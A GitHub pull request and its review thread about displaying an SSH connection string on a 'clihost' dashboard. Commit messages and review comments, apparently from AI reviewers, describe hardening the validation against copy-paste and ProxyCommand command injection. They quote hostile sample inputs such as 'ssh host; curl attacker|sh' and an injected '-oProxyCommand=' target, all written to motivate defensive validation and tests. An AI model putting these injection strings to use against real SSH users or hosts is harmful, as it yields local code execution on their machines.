Skip to content

feat(dashboard): show SSH connection string on menu (#80) - #85

Merged
axisrow merged 3 commits into
mainfrom
ao/clihost_af28bd122d-5/ssh-dashboard
Jun 29, 2026
Merged

feat(dashboard): show SSH connection string on menu (#80)#85
axisrow merged 3 commits into
mainfrom
ao/clihost_af28bd122d-5/ssh-dashboard

Conversation

@axisrow

@axisrow axisrow commented Jun 28, 2026

Copy link
Copy Markdown
Owner

Closes #80. Part of epic #73, follows up on the tunnel work (#79/#82).

Summary

Surfaces the SSH connection string (already written by the tunnel to ${HAPI_USER_HOME}/ssh-url) on the clihost dashboard, mirroring the existing HAPI relay-URL pipeline. Python-only; no Dockerfile/entrypoint changes.

Changes

  • app/ttydproxy/config.py: SSH_URL_FILE env var, default /home/hapi/ssh-url (matches entrypoint.sh:267).
  • app/ttydproxy/views.py: load_ssh_url(url_file) reads + validates the file; render_menu_page(username, hapi_url, ssh_conn=None) renders {{SSH_LINK}} as a non-clickable copyable <code class="ssh-link"> block, gated on a valid string (hidden entirely when absent, like the HAPI item).
  • app/ttydproxy/app.py: handle_menu reads both files and passes ssh_conn to render_menu_page.
  • app/index.html: {{SSH_LINK}} placeholder next to {{HAPI_LINK}} + .ssh-link CSS (monospace, copyable).
  • tests/unit/test_load_ssh_url.py: new — valid chisel/cloudflared commands, missing/empty/whitespace, wrong prefix, bare ssh, newline/CR/NUL injection rejection.
  • tests/unit/test_menu_views.py: extended — SSH block appears only with a command, hidden without it, command is HTML-escaped.

Security

The connection string is never interpreted, only displayed via html.escape(quote=True). load_ssh_url rejects anything that is not a single non-empty line starting with ssh (no embedded \n/\r/\x00), so a second command cannot ride the copy-paste path. Without a tunnel/file the SSH block is hidden entirely.

Test plan

  • `python -m pytest tests/unit/` — 324 passed, 172 subtests passed (`test_threading.py` fails on socket bind under the sandbox only; unrelated to this change).

Read the ssh-url file written by the tunnel (#79/#82) via load_ssh_url and
render it on the dashboard next to the HAPI link. Mirrors the HAPI URL pipeline:
config SSH_URL_FILE, views load_ssh_url + {{SSH_LINK}} gating, app.py handle_menu.
The command is never interpreted, only displayed via html.escape; without a tunnel
the SSH block is hidden entirely. Unit tests cover parsing and render gating.
@axisrow

axisrow commented Jun 28, 2026

Copy link
Copy Markdown
Owner Author

🔍 Local review (cycle 1)

Reviewed locally (Claude subagent + Codex companion), no bots pinged.

Verdict Reviewer Finding Location
FIX codex load_ssh_url валидация пропускает shell-метасимволы → копипаст-команда может содержать ; curl|sh и т.п. app/ttydproxy/views.py:127-130
SKIP→cleanup claude docstring заявляет «other control chars», а проверяются только \n\r\x00 (косметика, значение HTML-escaped) app/ttydproxy/views.py:117

Триаж FIX (codex): HTML-инъекция закрыта (html.escape, Claude подтвердил). Но PR в Security-секции заявляет, что защищает копипаст-путь, а валидация по факту покрывает только newline/NUL, не shell-метасимволы. Источник файла — env оператора через фиксированные printf-шаблоны в entrypoint.sh (тот же trust-model, что HAPI_URL_FILE), поэтому это defense-in-depth, а не открытая дыра. Но фикс дёшев и приводит код в соответствие с заявленным контрактом → ужесточаю валидацию: запрет shell-метасимволов в строке подключения.

Claude-ревью: критических нет, escaping/gating корректны, зеркалят проверенный паттерн load_hapi_url. Approve с одним минорным (docstring) → применю в cleanup-проходе.

Cycle 1/3: 1 FIX, 1 SKIP(→cleanup).

load_ssh_url accepted any 'ssh ...' string as long as it lacked newline/CR/NUL,
so a payload like 'ssh host; curl attacker|sh' passed validation and was shown on
the dashboard for copy-paste. Reject the shell metacharacters ; | & $ ` \ < > ( ) { }
and any control character (ord < 0x20) so a second command cannot ride the
copy-paste path. Quotes, spaces and % stay allowed (legitimate cloudflared form).
Docstring updated to match the actual control-char coverage.
@axisrow

axisrow commented Jun 28, 2026

Copy link
Copy Markdown
Owner Author

🔍 Local review (cycle 2)

Reviewed locally (Claude subagent + Codex companion).

Verdict Reviewer Finding Location
FIX codex Денилист пропускает -o ProxyCommand="cmd" — OpenSSH исполняет ProxyCommand локально ДО соединения → copy-paste RCE сохраняется app/ttydproxy/views.py:136-139

Триаж (подтверждён по коду): claim верен. ssh -o ProxyCommand="touch /tmp/pwned" hapi@host проходит валидацию (нет запрещённых символов), но ProxyCommand/LocalCommand исполняются ssh локально. Денилист символов принципиально не решает задачу — легитимная cloudflared-форма сама содержит ProxyCommand=. Claude cycle-2 этот вектор пропустил (рассматривал только shell-chaining) — поймал Codex.

Решение: переход с денилиста на allowlist двух известных грамматик (chisel ssh -p <port> user@host и точная cloudflared-форма ssh -o ProxyCommand="cloudflared access ssh --hostname %h" user@host). Любые иные опции (-o, -F, LocalCommand и т.п.) — reject.

Cycle 2/3: 1 FIX. Идём в cycle 3 (последний по лимиту).

…rary ssh options)

The denylist did not stop arbitrary ProxyCommand: ssh executes ProxyCommand
locally before connecting, so 'ssh -o ProxyCommand="touch /tmp/pwned" hapi@host'
passed validation and gave copy-paste RCE. Replace the denylist with an allowlist
of two exact grammars via re.fullmatch (both ends anchored):
  1. chisel:      ssh -p <PORT> <USER>@<HOST>
  2. cloudflared: ssh -o ProxyCommand="cloudflared access ssh --hostname %h" <USER>@<HOST>
The cloudflared ProxyCommand value is pinned verbatim, so a hostile ProxyCommand,
-F, LocalCommand, extra options, non-numeric port, host with / or :, and any shell
metacharacter simply fail to match and are rejected.
@axisrow

axisrow commented Jun 29, 2026

Copy link
Copy Markdown
Owner Author

✅ Local review (cycle 3/3) — APPROVE

Оба ревьюера (Claude subagent + Codex companion) на allowlist-версии cb4f30d: 0 FIX, APPROVE.

Что проверено Результат
Critical #1 (shell-метасимволы) ✅ закрыт — нет в классах USER/HOST, fullmatch якорит
Critical #2 (произвольный -o ProxyCommand → локальный RCE) ✅ закрыт — ProxyCommand зафиксирован дословно в regex
Новые байпасы (anchoring, ReDoS) ✅ нет — линейные regex, 600k симв. за 0.0003с
Обе легитимные формы (chisel + cloudflared) ✅ проходят
Тесты test_load_ssh_url.py ✅ 13 passed, 15 subtests

Cleanup-проход (6.5) — осознанно НЕ применённые миноры

  • docstring про control chars — уже приведён в соответствие в 6fc97e7/cb4f30d.
  • host-regex допускает ведущий -/..; порт 0-99999 — оба ревьюера пометили как косметику, НЕ security (значение — вывод самого туннеля, HTML-escaped, в позиционном слоте user@host, без метасимволов). Ужесточение валидации здесь несёт риск отвергнуть легитимный edge-case без выигрыша в безопасности → оставлено намеренно.

Итог: ревью-цикл завершён за 3 раунда, поймано и исправлено 2 critical RCE-вектора (shell-chaining → денилист → allowlist). Merge — за владельцем (local mode не мержит сам).

@axisrow
axisrow merged commit 5882367 into main Jun 29, 2026
1 check passed
axisrow added a commit that referenced this pull request Jul 1, 2026
…d RCE (#92)

Cycle-review (PR #96) — both Codex and the Claude reviewer independently
reproduced host RCE: printf %q guards SHELL injection but NOT OPTION injection.
A target starting with '-' is parsed by ssh/rsync as a flag, so
CLIHOST_SSH_TARGET=-oProxyCommand=<cmd> runs <cmd> LOCALLY on the host during the
preflight ssh — before any mount/symlink guard can contain it. Same class as the
dashboard ProxyCommand issue (#85). Two reachable sinks: the ssh preflight and
the rsync source/dest operands.

Fix:
- reject a target matching `-*` up front (die before any ssh/rsync).
- defence-in-depth: `--` end-of-options before the ssh host and before the rsync
  positional operands, so a `-`-leading value can never be parsed as a flag.

Tests: test_option_like_target_is_rejected_before_ssh_or_rsync plants
`-oProxyCommand=touch <canary>` and asserts the run aborts and the canary never
appears (fails on old code — canary was created); test_ssh_and_rsync_calls_use_
end_of_options_separator pins the `--` separators. Verified behaviorally: the
hostile target is rejected, no ProxyCommand runs.

pytest tests/ -> 389 passed, 208 subtests.

Refs #92

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Vecu5xo9D9Cs2vmeohKVKv
axisrow added a commit that referenced this pull request Jul 1, 2026
* feat: add clihost rsync sync command

* fix(clihost-sync): reject option-like SSH target to block ProxyCommand RCE (#92)

Cycle-review (PR #96) — both Codex and the Claude reviewer independently
reproduced host RCE: printf %q guards SHELL injection but NOT OPTION injection.
A target starting with '-' is parsed by ssh/rsync as a flag, so
CLIHOST_SSH_TARGET=-oProxyCommand=<cmd> runs <cmd> LOCALLY on the host during the
preflight ssh — before any mount/symlink guard can contain it. Same class as the
dashboard ProxyCommand issue (#85). Two reachable sinks: the ssh preflight and
the rsync source/dest operands.

Fix:
- reject a target matching `-*` up front (die before any ssh/rsync).
- defence-in-depth: `--` end-of-options before the ssh host and before the rsync
  positional operands, so a `-`-leading value can never be parsed as a flag.

Tests: test_option_like_target_is_rejected_before_ssh_or_rsync plants
`-oProxyCommand=touch <canary>` and asserts the run aborts and the canary never
appears (fails on old code — canary was created); test_ssh_and_rsync_calls_use_
end_of_options_separator pins the `--` separators. Verified behaviorally: the
hostile target is rejected, no ProxyCommand runs.

pytest tests/ -> 389 passed, 208 subtests.

Refs #92

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Vecu5xo9D9Cs2vmeohKVKv

---------

Co-authored-by: axisrow <axisrow@users.noreply.github.com>
Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Показать SSH-строку подключения на дашборде

1 participant